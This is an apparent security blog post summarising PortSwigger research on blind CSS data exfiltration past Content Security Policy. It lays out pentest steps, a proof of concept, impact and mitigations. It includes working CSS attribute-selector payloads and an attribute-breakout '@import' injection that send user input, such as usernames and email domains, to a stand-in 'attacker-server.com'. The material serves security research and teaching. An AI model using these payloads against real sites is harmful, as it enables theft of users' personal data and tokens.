CSS Data Exfiltration Techniques
For when you can inject HTML/CSS, but that pesky CSP gets in the way...
Original article published by Gareth Heyes: https://portswigger.net/research/blind-css-exfiltration
Gareth dives deep into exploiting a blind HTML injection vulnerability, particularly when JavaScript is not an option due to Content Security Policy (CSP) or other filters like DOMPurify. The post introduces a novel method using the CSS :has selector for extracting data, mainly from form elements and anchor tags, through what is essentially a blind CSS injection.
This method, often overlooked, exploits the innocuous nature of CSS to stealthily exfiltrate data from web pages. It's particularly effective in scenarios where robust security measures, like Content Security Policies, block traditional JavaScript-based attacks.
Key Points for Offensive Security Operations:
CSS Injection Confirmation: First, confirm if you can inject styles using tools like Burp Collaborator. This helps in identifying if you're dealing with a blind CSS injection scenario.
Data Extraction via Attribute Selectors: This technique involves using CSS attribute selectors to identify specific values in elements, then triggering an outbound request with this data.
Using CSS Variables: These act as switches to trigger conditional requests with background images, thus sending data to an external server.
Exploiting
:hasSelector: Allows targeting parent elements based on their child's attributes, valuable in situations where the target element doesn't directly allow background requests.Combining
:hasand:notSelectors: Useful for identifying multiple elements when unsure of their structure.@Import Chaining for Large Data Extraction: Utilizing CSS import rules to chain requests, enabling extraction of larger data sets.
Server Setup for Exfiltration: Running a local server (with node.js) to handle the exfiltration process, potentially relayed through an Apache server with ProxyPass for broader access.
In-Depth Analysis of Derived TTPs:
Tool Recommendations: Burp Suite (for initial CSS injection testing), node.js (for running the exfiltrator server), Apache server (for ProxyPass configuration).
Example Syntax:
input[value^="a"] { --starts-with-a: url(/startsWithA); } input { background: var(--starts-with-a, none); }This snippet targets inputs starting with 'a' and triggers a request to an external server.
Hypothetical Scenarios: Suppose you're pen-testing a site with strong XSS defenses but weak CSS handling. By injecting a snippet like the one above, you could potentially siphon off sensitive data (like usernames) that start with specific characters.
Using the Blind CSS Exfiltration technique in an offensive security engagement, such as a penetration test or red team exercise, requires careful planning and execution. Here's a step-by-step breakdown of how you might employ this strategy, along with a code snippet to illustrate the concept.
Steps for Engagement:
Identify a Blind HTML Injection Point: First, you need to find a spot where you can inject HTML content. This might be through input fields, URL parameters, etc. Use tools like Burp Suite to test for injection vulnerabilities.
Confirm CSS Injection Capability: Once you've identified a potential injection point, test if you can inject CSS. This is crucial because the entire technique hinges on being able to inject and execute CSS code.
Set Up an External Listener: You'll need an external server to receive the data exfiltrated by your CSS payload. This server should be able to log incoming requests with parameters.
Crafting the CSS Payload: Your payload will use CSS selectors to identify specific data points and then trigger a request to your external server with this data.
Execute the Attack: Inject your crafted CSS payload into the vulnerable point discovered in step 1.
Example Code Snippet:
Let's say you've identified a user input field where you can inject HTML, and you've confirmed that CSS can be injected. You want to exfiltrate user names that are part of an input field. Here's a basic example:
/* External CSS File Hosted on Attacker's Server */
input[name^="user"] {
--exfil: url(http://attacker-server.com/collect?user=);
}
input {
background-image: var(--exfil, none);
}Attack Syntax:
Confirm Injection Point:
Inject a simple CSS rule to change the style and see if it reflects. E.g.,
<style>body {background-color: red;}</style>
Inject the Exfiltration Payload:
Use the vulnerable point to inject the CSS. For instance, if it's a user input field, you might enter:
"><style>@import url('http://attacker-server.com/exfil.css');</style>Here, exfil.css is the CSS file with your payload hosted on your server.
Monitor Your Server:
Watch the logs on
attacker-server.comfor incoming requests. These requests carry the exfiltrated data as part of their query parameters.
Proof of Concept: Blind CSS Exfiltration Attack
Scenario:
We assume a situation where an attacker has identified a blind HTML injection vulnerability in a web application but is restricted from executing JavaScript due to stringent CSP rules. The goal is to exfiltrate user email addresses entered into an input field.
Setup:
Attacker's External Server:
A server set up to receive and log requests. This could be a simple HTTP server that logs query parameters of incoming GET requests.
CSS Payload:
Hosted on the attacker's server, this CSS file contains the exfiltration logic.
input[type="email"][value$="@gmail.com"] {
background-image: url('http://attacker-server.com/?email=gmail');
}
input[type="email"][value$="@yahoo.com"] {
background-image: url('http://attacker-server.com/?email=yahoo');
}
/* Additional selectors for other domains can be added similarly */This CSS targets email input fields ending with specific domain names and triggers a GET request to the attacker's server with the domain part of the email.
Injection:
The attacker injects a reference to this external CSS file into the web application via the HTML injection vulnerability.
<style>@import url('http://attacker-server.com/exfiltration.css');</style>Execution:
When a user enters their email into the targeted input field, the corresponding CSS rule is triggered, sending a request to the attacker's server with the email domain information.
The impact of a Blind CSS Exfiltration attack can be significant, particularly in scenarios where traditional JavaScript-based attacks are not viable due to security measures like Content Security Policies (CSP). This technique leverages CSS to silently extract data from a web page, bypassing certain security controls that are designed to prevent data leakage.
Types of Data That Could Be Exfiltrated:
User Input: Any data entered by users into input fields, such as names, email addresses, and other personal information.
System Information: Details like usernames, system settings, or other information that may be reflected in the HTML or visible in the DOM but not typically accessible due to client-side restrictions.
Sensitive Application Data: Information such as tokens, API keys, or other sensitive data that might be embedded in the HTML or DOM for operational purposes.
Navigation Patterns: Details about the links (anchor tags) on a page, which can reveal the structure of a web application or sensitive URLs.
Form Data: Values of various form elements, including hidden fields which might contain sensitive tokens or state information.
Impact of the Attack:
Data Breach: Unauthorized access to sensitive or personal data, leading to privacy violations and potential legal repercussions.
Bypassing Security Measures: This technique can circumvent certain security mechanisms like CSP, highlighting gaps in the defense strategy of the web application.
Information Disclosure: Unveiling information about the web application's structure, which could be used for further attacks or to exploit other vulnerabilities.
Reputation Damage: For organizations, such a breach could lead to loss of trust among users and clients, impacting the organization's reputation.
Compliance Violations: In cases where regulated data is exfiltrated, the organization may face compliance issues and legal sanctions.
Mitigation Strategies:
Strengthening CSP: Implementing a more robust CSP to restrict the sources from which styles can be loaded and to disallow inline styles.
Sanitizing User Inputs: Ensuring that all user inputs are properly sanitized to prevent the injection of malicious code, including CSS.
Further Research Areas:
Advanced CSS Selector Techniques: Delving deeper into less commonly used CSS selectors for exfiltration purposes.
Automating CSS Injection and Data Exfiltration: Creating more sophisticated scripts or tools that automate the entire process from injection to data collection.
Countermeasures and Defense: Understanding how these techniques can be identified and blocked is crucial for a balanced offensive-defensive skill set.
Food for Thought:
Have you considered how variations in HTML structure could affect the success rate of this technique?
What are your thoughts on the ethical implications of using such a method in real-world scenarios?
How would you adapt this approach if faced with stricter CSP rules that also restrict certain CSS functionalities?

